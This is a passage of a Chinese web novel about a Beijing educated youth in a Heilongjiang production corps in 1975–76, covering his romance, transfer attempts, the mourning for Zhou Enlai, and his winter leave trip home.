“建军，你一会儿陪忆茹溜达溜达吧！” 黑丽荣看了看吴忆茹，又看了看白建军说道。 “我先回宿舍一趟，一会儿我在连部门口等你！” 白建军对着吴忆茹点了点头。 三人分开之后，白建军和张铁刚打了声招呼，说自己出去走走。张铁刚也看出来今天白建军回来之后情绪有些不好，所以只是让白建军早点回来，也没多说什么。 白建军到连部门口的时候，吴忆茹已经在这边站着了，看到白建军过来，吴忆茹直接就往外面走去。离开连部能有几百米之后，白建军才追上了吴忆茹，两个人并肩走在乡间的小路上。 “白建军，你说要是我们兵团也撤销，我们到时候该怎么办啊！”吴忆茹边走边迷茫的看着前方问道。“我们能回到城里去么？” “回城是一定能回去的！”白建军确认的说道。“吴忆茹，你现在也想回城了么？” “如果是像石秀英和郑二柱他们两人那样一个在公社中学、一个在大队小学教书的生活，我还稍微能接受点，但是若是一辈子都在农场职工，说真的我有些受不了。”吴忆茹摇了摇头说道。“但我知道，咱们团里这样的名额不会落到我头上！所以我想回到城里！” “说实话，有机会的话，咱们连里大部分人都想回去，特别是最早来的那批知青！”白建军看着吴忆茹说道。“不过现在并不是什么好机会！” “为什么这么说？” 吴忆茹转头看着白建军问道。 “黎明前的黑暗！” 白建军看着吴忆茹认真的说道。 白建军只能提示这么多，虽然白建军知道动乱一定是会结束的，但是具体是什么时候结束，怎么结束，白建军一概不知。 就像白建军要表达的意思一样，动乱结束之前的这段时间恐怕还会有一些其他的变化，毕竟还有一年多的时间动乱才会结束，这段时间的还会有什么变化，能波及到谁，谁也不知道。 “这么说，你也是想回去，但是是不想现在回去？” 吴忆茹认真的看着白建军问道。 “现在回去要么伤残，要么得大病！”白建军看着吴忆茹笑着说道。“这两点我可都不想沾上！不然以后哪怕是有媒人给我介绍对象，那也准是问一个黄一个！” “和你说正事呢，你就胡扯！” 吴忆茹都快被气笑了。 “我虽然关心我那些同学、朋友们，希望他们都能好。”白建军收起了笑容，看着吴忆茹说道。“但毕竟我自己在东北这边，鞭长莫及，这时候也只能看他们自己家里怎么八仙过海了，我可是无能为力！” “你的同学里有你喜欢的人？” 吴忆茹盯着白建军直接问道。 “说不上喜欢吧！”白建军摇了摇头。“只能说是关系还算不错的同学、朋友！” “是蔡晓丽么？” 吴忆茹突然问道。 “嗯？你怎么会知道她？” 白建军意外的看着吴忆茹。 “不是只有你有同学在其他连的！”吴忆茹得意的笑着说道。“你还没说是不是她呢！” “她是我高中同桌！”白建军摇了摇头。“我们关系是挺好的，不过还真谈不上说我喜欢她啊！” 白建军心里暗暗的又补了一句“是她喜欢我！”不过这话就没必要当着吴忆茹的面说出来了。 这时候吴忆茹又提起了另一个名字。 “那是叶菲？” “王美丽，你个大嘴巴，什么话都被人套出来了！”白建军转身看着西方六连的方向呵斥道，说完又看着吴忆茹认真的说道。“那是我中学同学，她就在内古兵团，我给她写过一封信，人家根本就没给我回过！” “那应该就剩下苏萌了！” 吴忆茹笑着看着白建军说道。 “苏大小姐？您可饶了我吧！”白建军摇了摇头急忙澄清道。“虽说你们俩家庭条件都差不多，但是性格上她比你可差太多了。我得是多没长心，给自己找这个不自在啊！” “你真这么觉得么？” 看着吴忆茹期待的眼神，白建军知道自己上当了。 第90章 转插 哪怕白建军很关心在内古兵团的同学，但是因为自身在东北，再加上撤销通知下达之后的混乱状态，直到8月份，白建军才从白建华的心里了解到了一些自己同学们的情况。 白建军所有的同学没有一个直接回城的，不过有不少人都转插到了京城郊区，这其中就有夏建国这个最早去内古兵团的，也有后去的叶菲、图强、区立林等人，而蔡晓丽和杨树影等好多人都还留在了内古变成了农牧场的职工。 白建华的信里告诉白建军，为了夏建国转插郊区这个事，夏默和高兰虽说没拖几个人就办成了，但也没少花钱送礼，因为你不送，有的是人给大队那边的人送礼。 白建军看到信，也就明白了自己那些同学们为何会有不同的境遇了。 叶菲家上面还有个哥哥，已经参加工作了，她家里自然想让她早点回来；图强是旗人，家里多少还有些底子，所以也能拿出这个跑关系的钱；区立林的情况也都差不多，也是家里相对来说富裕一点的。 蔡晓丽和杨树影的情况差不多，都是她们父亲上班挣钱，家里都是她们的母亲说了算。她们俩每月都要把自己的工资寄回去一部分呢，家里怎么还能为了她们的事往里搭钱。 至于其他人的情况也都差不多，有些人是觉得还能挺住，有些人是觉得舍不得花这个钱。不过这个事情也不是绝对的，等之后这些转插出去的知青，慢慢都被招工回到城市之后，仍然留在内古那边的知青们也都开始找门路了。 内古兵团的事也渐渐影响到了黑江这边，不少家里有关系的，也都开始想着转插这件事了，从1975年九月份开始不少有门路的知青就开始活动了，九连这边都有两个上沪的知青办理了转插手续离队了。 白建华曾经给白建军写过信问过白建军是否也要走这条路，不过因为白建军现在和吴忆茹感情的升温，这件事被白建军否决了。而吴忆茹也同样拒绝了她父母，甚至提出了如果能把白建军也一起调走她就走。 也不知道吴忆茹的父母是太爱吴忆茹还是一直都是这么宠着，吴忆茹的父母竟然真的给吴忆茹寄来了两份接收的手续。吴忆茹拿给白建军的时候，白建军感觉自己都快要疯了，这怎么有种要当上门女婿的感觉啊！ 吴忆茹拿到接受手续的第二天，就让白建军陪着自己去了团部的军务股，那边回复等审批之后，会通知连里，就让二人回去了。 可是这一等就等了能有一个多月。 白建军见吴忆茹由原本的兴奋变得有些焦虑，白建军直接去团部那边找人打听了一下。 “建军，我刚刚和军务股的汪干事聊了一下。”卫生队指导员方怡回到办公室之后，对着等着的白建军说道。“她直接和我透了底，说你一个京城人，去崇明那边投亲靠友，这个理由太牵强了，上面根本就没批，直接给打回去了！” “指导员，谢谢您！这事没成就没成吧，反正我也是没想好要不要去那边！” 白建军赶紧起身感谢方怡。 “建军，咱们关起门来说话，你这种情况，汪干事遇到太多了！”方怡关上了办公室的门看着白建军说道。“你是和那个和你一起交材料的女孩处上了吧！” “不用不好意思！”看着不知道怎么回答的白建军，方怡笑了笑说道。“你明年8月份就满20周岁了，现在就做准备也是人之常情！” “方大姐，跟您说实话，我是真没想到她们家能直接弄来两份手续！”白建军有些无奈的看着方怡说道。“要是想回城里，我早就申请‘困退’了！而且我就这么一走了之，也辜负了连里、队里这几年对我的培养啦！” “建军啊，这毕竟是人家女孩家里的一番心意！”方怡语重心长的对白建军说道。“你回去和她好好商量商量，要是你们俩都想好了，你再过来找我，我帮你引荐一下汪干事！” “方大姐，谢谢您！”白建军认真的给方怡鞠了一躬。“我回去之后找她聊一下，看看她是怎么想的！” “建军，那个姑娘是上沪的吧？”方怡见白建军点头，认真的看着白建军说道。“大姐知道你就算是回城，也是回京城！那个姑娘能跟着你回京城么？就算她能和你回京城，估计也得是用现在的法子！” “你们俩要是真想到一个地方，还不如等一等。”方怡想了想看着白建军说道。“等明年你年龄到了，你办个‘困退’，回去之后你带她把证领了，两个人不直接都回去了嘛。” “方大姐，我原本就是想用这个办法，所以我也没怎么着急！只是我没想到，她家的动作会这么快！”白建军看着方怡无奈的说道。“我的申请军务股那边拦着，但是想来没有我的牵连，她的申请是能过的，我回去还是问问她的意见！” “建军，那你做好思想准备吧！” 方怡看着白建军严肃的说道。 “方大姐，我明白您的意思！”白建军认真的点了点头。“经历不住考验的感情注定是过眼云烟！” “你能明白这个道理大姐就放心了！” 方怡看着白建军满意的点了点头。 白建军和方怡聊了一会儿，就告辞离开了，下午搭别的连队的马车返回了九连，之后找到吴忆茹的时候，白建军就把方怡打听出来的情况和吴忆茹说了。 “忆茹，你要是想回城，我还可以去团部那边跑一趟。”白建军认真的看着吴忆茹说道。“我的转插申请团里不会批，但是你的申请一定能批！” “建军，我现在也不是那么着急了！”听了白建军的一番解释，吴忆茹反到有些如释重负。“没批也不错，现在的生活也挺好的，不是么！” “就是有些苦了你了！” 白建军深情的看着吴忆茹说道。 吴忆茹同样深情的看着白建军。 “说什么苦不苦的，只要有你在我身边，我就没觉得有多苦！” 第91章 噩耗 时间也到了1975年底，白建军来黑江兵团这边已经一年半了，白建军勉强能申请到一个年假。由于今年黑江兵团整体扭亏为盈，无论是师里还是团里，对于知青们申请休假都大开绿灯，和白建军同一批来的知青们的休假申请都得到同意。 “白大哥，你说咱们什么时候走好啊！” 石兴华在知道自己的申请得到批复之后，兴奋的不行，直接就问起了白建军的打算。 “离过年还有一个月呢，你这就兴奋啦？”白建军看着毛躁的石兴华笑着说道。“去年班长他们那个行程，咱们今年照搬就成了！” “白大哥，我这不是高兴么，终于能回家了！”石兴华开心的说道。“白大哥你不高兴么？” “我也挺开心的！”白建军同样笑着说道。“这两天我找一下郑二柱，让他给咱们淘弄点山货，你们也好过年的时候给家里带回去！” “建军哥，也帮我淘弄点！” 一旁的蔡凯杰也插话道。 “他是你们津门老乡，还能不帮你啊！”白建军看着蔡凯杰笑着说道。“忘了去年他给你桂艳姐拿过来多少东西啦！” “也不好总让二柱哥破费！”蔡凯杰看着白建军说道。“今年他们家是三口人呢！” “你说这话我倒是想起来了，今年还真得抓紧时间淘弄东西，他们一家子去年就没回去过年，估计今年一放寒假就得抱孩子回去！”白建军也突然想到了。 “那我去找桂艳姐说这个事！” 蔡凯杰一听这话，立马穿上大衣出去了。 “白大哥，我看他就是想借这个由头去女兵排那边找孙嫣！” 石兴华看着屁颠屁颠跑出去的蔡凯杰说道。 “人家俩是青梅竹马长大的，关系走的近点也正常！”白建军笑着看着石兴华说道。“哪像你，天天就知道疯玩！” “白大哥，忆茹姐今年也回家，她回来的时候，不到咱们京城么？” 石兴华神秘兮兮的看着白建军问道。 “你小子，说你两句，你还来打趣我了！”白建军看着石兴华那样子，就觉得好笑。“她从尔滨走，回来也直接到尔滨。” “原来如此！”石兴华点了点头。“可惜了！” 白建军终于忍不住了，上去就给这小子后脑勺轻轻的来了一巴掌。 “你可惜个什么劲！” 屋里的其他人看见石兴华挨揍，都发出欢快的笑声。 “哈哈！小石，挨揍了吧！” “该，你说你天天打听这个打听那个的，你怎么就不跟小蔡和建军学学呢！” …… 过了新年没几天，现在是农闲时间，也没什么事，大家起的都挺晚的。外面还是一片漆黑，连队里的大喇叭突然间传出了几声刺耳的滋滋声，之后大喇叭里突然传来了一阵哀乐声。 白建军本来睡的就很轻，突然传来的哀乐声一下子就把白建军惊醒了。白建军他们宿舍，甚至整个九连都被这哀乐声惊醒了。随着中央人民广播电台的播音员用悲痛的声音进行播报，大家也终于知道，全国人民敬爱的周总理于1976年1月8日不幸病逝，永远的离开了！ 一股莫名的悲伤笼罩了所有人的心头，有些人听到这个消息都一副不可置信的模样，之后两行眼泪不自觉的流了下来。所有的知青都快速的穿好衣服，跑出了宿舍，就这么聚集在大喇叭底下听着大喇叭里的广播。 昨晚是连长张大山值班，半夜不到4点，他就突然接到团部的电话，说让他收听今日早上5点的广播并用大喇叭实时通报。张大山也没想到，竟然从广播里听到这样令人悲伤的信息。 等广播播完了，留在大喇叭底下的知青们仍旧没有散去的意思，张大山这时候虽然同样悲伤，但是他不能看着知青们一直在这天寒地冻之中就这么站着。 “我知道大家此刻的心情，我听到这个消息同样感到难过！”张大山强忍难受大声喊着。“大家先回去，等一等看看团部那边有没有下一步的指示！” 张大山又喊了两遍，知青们仍然不为所动，没办法张大山只能给王长贵、曾冬伟、董宝柱和黑丽荣下命令，让他们把各个排的知青们带回。 见连长张大山都以命令的形式要求知青们返回，九连的知青们也在各自班、排长的带领下返回了各自的宿舍。不过所有人此时已经没有再睡的心思，脱了大衣，一个个的不是低头沉思，就是抽着闷烟。 一直等到天亮之后，往日热闹的食堂，今天也显得格外沉闷，这种气氛一直持续到中午，一早去团部的周海兵没到中午就回来了，而且还带回来一副周总理的黑白遗像。 有看到周海兵的知青纷纷跑回宿舍这边挨个屋通知，没多大功夫，九连的知青们又集中在了连部这边的空地上，大家都默契的没有发出声音，反而安静的排着队，领取周海兵带回来的黑纱。这边也有女知青帮着把黑纱用别针绑在知青们的胳膊上。 “周海兵，团部那边还没有下一步通知，你现在把遗像和黑纱带回来，你是要干什么？” 指导员林国栋正在连部办公室大声的训斥着周海兵。 “老林，你消消火，听听海兵怎么说！” 张大山在一旁连忙劝着林国栋。 “连长、指导员，我今天去团部，回来的时候看到好多人都在买总理的遗像，我看他们都买了，我也就跟着买了！”周海兵看着张大山和林国栋不忿的说道。“我并没有觉得我做错了什么！” “周海兵，这是你觉得不觉得的问题么？”林国栋看着周海兵的样子，更加生气了，之后又看着张大山问道。“张大山，你是不是也觉得他做的没错？” “老林，我也觉得海兵做的没错！” 张大山直接承认道。 “张大山啊，张大山！”林国栋恨铁不成钢的说道。“我没想到，我天天给知青们做思想工作，其实最需要做思想工作的是你啊！” “老林，这都是知青们的自发行为！”张大山认真的说道。“大家都是因为爱戴总理，才这样的！” “废话，我还不知道大家爱戴总理！”林国栋直接看着张大山喝道，说完一指周海兵。“他这事要是没人追究还好，要是有人追究，咱俩都保不住他。” 林国栋指了指外面的知青继续说道。 “我们可以说他们的行为是自发的，但是他呢！东西是他带回来，要是有事他能有好？” 张大山这才明白林国栋不是怪周海兵带遗像和黑纱回来，是怕这个事有人找后账。 “那你说怎么办！” 张大山看着林国栋直接问道。 “让白建军给他开个条子，之后再让白建军陪他去趟卫生队再找方姐说道一下。”林国栋指着周海兵看着张大山说道。“我们做好批他病假的准备，要是没事还好，有事就让他赶紧躲起来，等风头过去了再回来！” “有你说的那么严重么？” 张大山有些不解的看着林国栋问道。 “你天天就管训练，管生产，你哪管过这个啊！”林国栋无奈的指了指自己的脑袋说道。“先准备起来吧！” “那外面……” 张大山指了指已经列队站好的知青还有闻讯赶来的老职工们。 “你要是为了他们好，咱俩就谁都甭露面！”林国栋严肃的看着张大山说道。“咱俩搭进去，可就没人护着他们了！” 第92章 送山货的郑二柱 对于兵团底下各连队自行组织的悼念活动，无论是各师还是各团，都采取睁一只眼闭一只眼的态度，哪怕仍然有些人一直上蹿下跳，但是正是这些人的倒行逆施，更是激起了更多人的反感，老百姓以及知青们都不傻，谁好谁赖大家心里都有一杆秤。 悼念活动一直持续到15号，各地才陆续停止了悼念活动，不过无论是在连部还是在团部，白建军都觉得连空气都是压抑的。经过了这么多年，哪怕最早一批来兵团的知青们，也不再像当初那样充满了理想主义，基层中的某些人干的某些事，也让很多人的思想产生了动摇。 别的连队白建军接触的不多，但是自从有个工作组到九连这边了解悼念活动的始末，并且那话里有意无意的指向团部的某些人的时候，九连们的知青都是一问三不知。 在那些人调查期间，九连连长张大山骂娘的话，不仅白建军听到过，很多知青都听见过。若不是有指导员林国栋在前面顶着压力，回来还压着张大山，白建军觉得以自己了解的连长的为人，真有可能祸从口出。而周海兵则在调查组下来的头一天就“因病”离队回上沪看病去了。 虽然最后调查组也没调查出来什么结果，但是白建军算是看出来了，这帮人这次没找到机会，不代表下次有机会这帮人会放弃。白建军原来以为兵团这边能比京城安全，可是没想到，哪怕这边也是有别有用心之人啊。 调查组走了之后，这天郑二柱和石秀英抱着他们的儿子郑鹤山坐着马车就到了九连这边。九连的大部分人都认识他们两口子，今天站岗的哨兵也认识他们俩，一看到是他们来了，什么也没多说就让他们进来了。 马车停到连部这边的时候，有路过的看到他们俩和那一马车的东西就明白怎么回事，不少人都回去通知自己宿舍今年要回家的知青们。不大会儿，不少知青都聚拢到了这边。 “秀英，让他们在这边吧，你跟我们去女兵排那边。”孙桂艳拉着石秀英的胳膊说道。“这大冷天的，别再冻坏了孩子！” “你跟艳姐去吧，这边有我和葛大爷呢！” 郑二柱看着石秀英笑着说道。 这下石秀英直接抱着儿子跟着孙桂艳还有其他一些没买东西的女知青去了女兵排那边。 “二柱，这么多人，要不咱们去食堂那边吧！”白建军看了看围着的知青赶紧提议道。“我先过去跟指导员说一下。” 外面天寒地冻的，也不能在外面分东西。 白建军说完话，直接就往连部里面走，找到指导员林国栋说明了一下情况，想借用一下食堂，分一下东西。林国栋知道这些山货都是今年回城的知青准备带家去的也就同意，不过还是让白建军去找赵班长说一下。 白建军从林国栋那边出来，就让大家先去食堂那边，自己又找炊事班的赵班长说了一下借用食堂的事，赵班长更是啥都没说，就让白建军自己开门去了。 白建军打开食堂的大门之后，众多知青七手八脚的就帮着把车上的东西都卸了下来。 “兄弟姐妹们，那车上还有我带回去的东西呢！” 郑二柱看着知青们的利索劲赶紧说道。 “二柱，没事，等会再让他们给你搬马车上！” 白建军走过来拍了拍郑二柱的肩膀说道。 “行，那先按照大家给的单子，分东西吧！剩下的就是我的了！” 郑二柱随口就答应了。 郑二柱帮大家买的山货也都是一些黄豆、粘豆包、榛子、木耳、榛蘑、猴头蘑以及一些猎人打来的猎物，虽然说九连这边的粮囤里就有黄豆，可这些东西是要上缴国家的，连里可没人打那个的主意。 郑二柱这边的麻袋里早就把各种东西都分好了，而且布口袋上都有各人的名字，所以没多大功夫，每个知青都把自己那份挑了出来。而跟来的那位赶车的葛大爷则把收上来的钱都贴身放好，这些还需要回去给各家分呢。 “建军，你的东西都在袋子里。”郑二柱对着白建军示意了一下。“都是老猎户们处理完的，绝对的好东西！” “一会儿我就拿回去！”白建军点了点头。 “别放屋里，你最好是扔到房顶上！”郑二柱特意提醒了白建军一句。“放屋里怕坏，现在这天气，放外面一定没啥事。” “对了，你这怎么比预定的晚了两天啊！”白建军点了点头，看着郑二柱直接问道。“是被这些东西耽搁了？” “甭提了，我和秀英在学校耽误了两天，葛大爷他们大队的队长都找到我们学校去了。”郑二柱无奈的看着白建军说道。“要不是我说再不走车票都要作废了，他们才算放我和秀英离开。” “你们那边也有调查组？”郑二柱一说，白建军就猜到了是这么回事。 “真他妈是闲的，正事不干，天天就他妈知道琢磨人！” 郑二柱直接对着地上啐了一口。 “少说两句吧！”白建军无奈的摇了摇头。“在这里发发牢骚就行了，回去你可千万别多说话！” “也就遇到你，我能说几句，在单位我是一个字都不会多说，可他妈给我憋坏了。” 郑二柱一说到这个都有些双眼发红。 “行了，行了，消消气，都过去了！”白建军赶紧劝道。“你这都当爹了，稳重点啊！” 等了一会，郑二柱的气顺了一些，那边葛大爷也都收拾完了。 “建军，我也不多待了，一会还要去你们团部那边搭车去齐哈尔，不然赶不上晚上的火车了！”郑二柱起身看着白建军说道。“初二我和秀英会回京城，她家的地址你知道，到时候咱们京城再聚！” 白建军也知道郑二柱他们时间比较紧，所以也没有再和郑二柱再聊下去，反而陪着郑二柱往女兵排那边去找石秀英。 女兵排这边的女知青们对于石秀英的儿子郑鹤山那是稀罕的不行不行的，这个抱抱，那个抱抱，郑鹤山虽然没满周岁呢，但是见谁都是笑呵呵的，这些女知青哪个抱他，他都没哭。 白建军这边到了女兵宿舍这边，先敲了敲门，听到里面的问话，郑二柱才报了名字，并说让石秀英收拾一下，要去双山那边了。 又等了10多分钟，石秀英才抱着包裹的严严实实的郑鹤山出了门，两口子抱着孩子坐上了葛大爷的马车，九连不少知青都出来送他们一家三口。 看着离去的郑二柱三口人，不少知青心里也都升起了即将归家的期盼。 “再有三天，我也能回家啦！” 第93章 休假 1976年1月22日，这天一大早，天不亮九连炊事班这边就开始准备今天的早饭，虽说往天也是天不亮炊事班这边就要开始忙活，但是今天整整提前了两个小时，平日里都是8点半左右开饭，今天也整整往前提前了两个小时。 今天是连里不少知青放探亲假的日子，连长和指导员和炊事班这边商量着提前开饭，尽早让休假的知青早点吃饭，早点到团部那边，等他们坐上团部那边的卡车到师部那边赶上午的车去齐哈尔，这样一来，也能让津门、上沪的知青们能早点到尔滨，还能有时间在尔滨逛一逛。 至于京城的知青则只能在齐齐哈尔逛逛了，因为去年开始20/19次列车在休息的时候，就成了40/39次列车，专门跑齐齐哈尔-白城-通辽-山海关-京城这条线，这极大地方便了沿途京城知青们的回家之旅。 当然京城的知青也可以不坐这趟车，而津门的知青愿意走这条线也行，不过得在唐山站转车。 对于在齐齐哈尔上车的津门知青来说，怎么样都是转车，还不如到尔滨转车呢。在尔滨还能逛逛反修大街（中央大街），吃一根马迭尔冰棍，买上一些尔滨特产红肠，还能去防洪纪念塔参观一下，更能去松花江上打出溜滑儿。 至于火车经过站附近的那些京、津知青们，对于他们来说有的坐就非常好了，不然都得绕远，多走一大圈，浪费时间不说，还要多花钱。 吃完早饭，九连这边的就让一排长王长贵和张铁刚开着连里的四轮子拉着休假的知青们往团部走，几乎每个休假的知青都带着两个大编织袋子，白建军这边则带了4个。 四轮子不是拉人的，而是拉东西的。这次九连休假回家得有快40多人了，加上他们带的东西，后斗里根本就坐不下。这次回家的所有知青都跟在四轮子后面走。不仅九连如此，沿途的种子连、六连都差不多是这么送人的。白建军他们算是提前出发了，到了团部这边的时候，也到了上午10点多。 团部这边早就有不少准备回家的知青等在这边，这些都是离着团部比较近的连队，人家正常吃饭都比白建军他们要早到。 这边的安排都是让家在津、沪的知青到了就上卡车，毕竟他们还要在齐齐哈尔倒车到尔滨，时间比较赶。本省的知青都不是很着急，早一会儿走，晚一会儿走，都差不了多少。 吴忆茹、陈梦莹还有蔡凯杰、孙嫣他们几个到了团部，拿到自己的行李就直接上了班车，白建军只是叮嘱蔡凯杰路上多照顾一下她们几个，没说几句话，这边的班车就出发了，白建军只能和吴忆茹她们摆手告别。 “这么恋恋不舍啊，舍不得了？” 王美丽这时候也到了团部这边，走到白建军身边打趣道。 “王美丽，你这个大嘴巴，我还没找你算账呢！”白建军看着身边的王美丽，愤愤的说道。“你不知道人家是套你话么？有的没的你是都往外说啊！” “哈哈，我就是故意的！”王美丽看着白建军大笑着说道。“我就是想看看之后会发生什么有意思的事！” “你就是看热闹不怕事大！” 白建军横了一眼王美丽。 两个人边往回走，边互相说着话，等走到团部门口这边的时候，不少京城的知青都纷纷和白建军和王美丽打招呼。 “建军哥，王姐！” 石兴华看到白建军和王美丽走过来，立马招呼道。 “你这拿的东西不少啊！”王美丽看着石兴华身边写着“白”字的几个袋子看着白建军说道。“怎么？这是准备把行李都搬家去？” “王美丽，你回去可别有的也说没的也说啊！”白建军看着王美丽警告道。“我这边可啥事都没发生，你别回去挑事！” “小样，你还知道怕啊！”王美丽看着白建军损道。“前几个月我都以为你要当上门女婿去了呢！” “你也说了，那是几个月之前的事，现在可很难说了！” 白建军摇了摇头看着王美丽说道。 王美丽见白建军话里有话，这里人多眼杂也没再揪着这个事拿白建军打镲。等了不到半个小时，团部的卡车就回来了，白建军、王美丽还有石兴华他们这些当初一趟车来的京城知青再次上了一辆卡车到了师部。 师部这边有一趟火车不过车厢只有4节，只是往返于师部和齐齐哈尔之间，对于白建军他们来说，这四节绿皮车厢可比他们来那时候的货运车厢可要好太多了。 等白建军他们到了齐齐哈尔的时候，已经是下午3点多了，白建军他们直接把带来的东西都寄存在火车站这边的行李处，然后赶紧去车站售票窗口买火车票。 在火车站售票窗口这边，别的地方的知青不开口说话，第一时间可能判断不出他是哪个地方的人，但是京城的知青绝对能被第一时间认出来。 京城因为是首都，所以京城知青们回家就多了一份待遇，插队知青需要到公社开证明，证明是京城知青回家探亲，而兵团知青们也得拿着团部开出来的证明。 若是知青没带这个证明，那火车站售票窗口这边是绝对不会卖票的，就是你认识火车站站长都不好使，整不好车站派出所还得派人把人带走调查一番。 白建军他们这一行人，自然不会犯这样的低级错误。 排队、递证明、递钱、拿票，哪怕偶尔会有来插队的，一听说是要去尔滨转车的，大家也都会让这些着急的人先一步，不过若是遇到那种就是想找事的，这边也没人会惯着他。毕竟这边买票都是同一个地方的一帮人在一起，大家都是小年轻，谁怕谁啊！ 买完票，白建军他们这一行人也没想着去候车大厅那边，离开车还有5个多小时呢，总不能一直蹲在候车大厅里吧，而且现在天还亮着，白建军他们这帮兵团知青就在齐齐哈尔逛了起来。 这时候也就是去附近的一百和二百，看看用不用再补充一些特产啥的，白建军就在这边买了一些尔滨红肠带回去给家里人尝尝。白建军他们这一行主要就是打发时间，在站前附近的一个中学里，他们这帮人还看了一会儿人家抽冰嘎和滑冰。 等到天渐黑了，一帮人才从那个学校离开，一路走到站前路尽头，看到一家开着的饭店，就走了进去。这里的主食是有大米饭、白面馒头和吊炉饼，大家都选了吊炉饼，也没要什么炒菜，就要了几大碗羊汤。 该说不说，这家饭店的吊炉饼酥脆可口，非常好吃。临走的时候，白建军他们一帮人每个人都多买了几个准备留在火车上吃，这边的老板也热情的帮着包好，临走还不忘对白建军他们说一句：回来的时候，有空就到这边坐坐！ 吃饱喝得外面的天也黑了，白建军他们一行人也没在外面闲逛，纷纷去火车站行李房准备取了自己的东西去候车室。 这边行李房就几个年龄大的大娘在忙活，看她们一个个的忙活的都满头大汗，白建军他们本来还想做好事，可是被这帮大娘十分干脆的拒绝了：行李房闲人免进。 好人好事是干不成了，白建军和众人再次核对了一番各自的带着的袋子没有问题之后这才往候车室而去。 白建军这么小心，也都是因为连里的人传授的经验。他们去年就遇到过有知青拿错了行李，行李房的大娘愣是追到了火车上。拿错行李的知青又和大娘们在大庆下车乘车返回齐齐哈尔，事情查清了之后，他们才改签了火车票坐第二天的火车回家。 所以今年连队里把每个人带着的袋子上都写上每个人的姓和地区，白建军的4个袋子上就都写着京-白，吴忆茹的袋子上则写的是沪-吴。 这时车站候车室等候着许许多多的各色各样的人群，这时也是全国各地的知青大聚会，汇集在候车室，每人都是大包小包，没有走空的。 你可以根据穿戴打扮可以看出，是哪儿的。 兵团的知青身上都穿着黄色的兵团服；身穿国防绿的是探亲的战士；一个个穿着带有一条条棉服的大庆石油工人。 京城的插队知青大多身穿一身蓝色的点儿服；穿的比较漂亮的是上沪的插队知青，他们成群结队，叽啦呱啦一听就是“散海您”；还有津门知青，各地的知青，都可以从穿戴和话语中分辨出来。 这里形成一条条亮丽的风景线。 这时候，各地的知青无论是兵团的还是插队的，一根烟的功夫，就能彼此熟识。要是有个人是两个人彼此认识的，那关系拉近的就更快了。 一直等到了晚上8点，白建军他们才开始检票登上回乡的列车。整个行李架上已经放了不少知青们的行李，有的连座下面都放了不少。白建军他们这30多人都在一个车厢，好不容易才把行李都放上去。 白建军放好了行李，看了看车厢里的其他知青，这就发现有经验和没经验的区别了。 像白建军他们这样没经验，只能靠在硬座上打盹，靠窗有餐台的位置大多都留给了女知青；而那些有经验的，已经在座位底下给自己开了个卧铺了。 这列火车也是有硬卧的，可是票价比硬座高了一倍还多，一张硬卧的票价比白建军一个月的工资还多，哪怕白建军也不舍得花这个钱。 随着几声汽笛声响起，火车缓缓的启动，白建军离京城是越来越近了。 第94章 归家 白建军他们走的已经挺晚了，火车这一路上除了在富拉尔基上来了一些兵团的知青，之后各站上来的大多都是正常的旅客，插队知青相当的少。不过想想也正常，插队知青不像兵团知青管理的这么严格，估计入冬之后，就找各种理由回家了，除非是有特殊情况才能在这时候才回家过年。 由于白建军他们乘坐的是正常的客运列车，所以这一路上差不多都是按时按点到站。不像白建军他们来的时候坐的是知青专列，那个是属于计划外列车，为了躲避正常运行的列车，知青专业有时可能就在一个小站临时停个一两个小时。 火车的运行速度并不慢，从齐齐哈尔到京城，全长1349公里，全程行驶16小时37分钟，白建军晚上8点多上车，到京城已经是第二天的下午快1点了。 和一起回来的众多知青们打了招呼，并相约初六上午再在售票处集合一起返回兵团，白建军就扛起袋子往家里走。火车站离着白家并没有太远，不到半个小时，白建军就走进了胡同。 “大爷，下棋呢！” “大娘，闲着呢！” 白建军热情的和看到的每个人都打着招呼，众人刚开始还没认出来，可是待看清楚了，纷纷和白建军招呼道。 “建军，你这是回来了？有一年多了吧！” “你姐还没下班，要不你到大娘家待一会，等你姐下班了你在回去！” 白建军对于大爷大娘的热情也都一一回应着。 “刚下火车，我就腿着回来了。我这离开都一年半了！” “大娘，谢谢您了，我先去隔壁院看看，我姐可能把钥匙放他们那边了！” 白建军到了自己家门口，看着门还上着锁，就把自己拿回来的东西都先放在了门口。这时候隔壁院也听到这边的动静，夏建国、田源、夏建红还有夏小妹都从那边的院子里出来。 “建军，你回来了！” “建军哥！” “建军哥，我都想死你啦！” 夏家三兄妹每个人都叫了起来，田源更是跑到白建军一把抱住了白建军。 “好几年没见，我可想死你啦！” “我也想你们啊！”等田源撒开了，白建军又和夏建国拥抱了一下，然后又看着夏小妹笑着说道。“小妹，我这才走1年半，你这个子怎么窜的这么高啊！” “我和我哥下乡，家里就剩她一个，好吃的都紧着她来，能不长个么！”夏建红看着夏小妹和白建军说道。“你没看她都胖了么！” “姐……！” 夏小妹不依的撒娇叫道。 “建军哥，你等会儿，建华姐把钥匙放我们家了，我去给你取去！” 夏小妹撒完娇，立马往家里跑去，片刻功夫就拿着钥匙跑了回来。等夏小妹打开了门锁，夏建国和田源就要动手帮着搬东西。 “建军，你这两袋子里都是什么啊，这么沉？” 田源直接上手拎起一个袋子就看着白建军问道。 “东北那旮沓的特产！”白建军笑着看着夏建国和田源说道。“别的地方还真不一定有这玩意。” “是不是去年的那些蘑菇？” 夏小妹跳到白建军把钥匙交给白建军，好奇的看着白建军问道 “你就知道吃！” 跟在后面的夏建红看着夏小妹，不由点了点夏小妹的脑门。 “夏主任，你回来就管我，我可不是你们公社的知青！” 夏小妹不满的看着夏建红说道。 “建红，你这都升主任了？” 白建军拎着剩下的两个袋子，不由看着夏建红问道。 “夏建红同志是她现在所在公社的知青办主任！”夏小妹在一旁阴阳怪气的说道。“人家能管老了人了！” “小妹这是怎么了？” 白建军看着夏小妹的样子又看着夏建红问道。 “嫌我管的宽了呗！”夏建红笑着看着白建军说道。“我回来盯了她几天学习，不让她疯玩，她就不乐意！” “哼！” 夏小妹扭头不理夏建红，然后跟着白建军身边。这时候田源和夏建国已经帮着把东西放到了厨房，白建军也把自己的两个袋子拎到了正屋，直接解开了袋口的绳子。 “正好你们都在，赶紧过来帮忙把我带回来的东西拿回去！对了把燕子的那份也拿回去！”白建军看着几个人说道。“一会儿我去我太奶奶那边一趟，之后我还要去一趟南锣鼓巷送东西！” “建军，我们是来帮忙的，这怎么好意思拿你东西呢！” 夏建国十分不好意思的说道。 “咱们几家什么关系啊！”白建军看着夏建国笑着说道。“我不和你们客气，你这几年不见反倒和我还客气上了！” 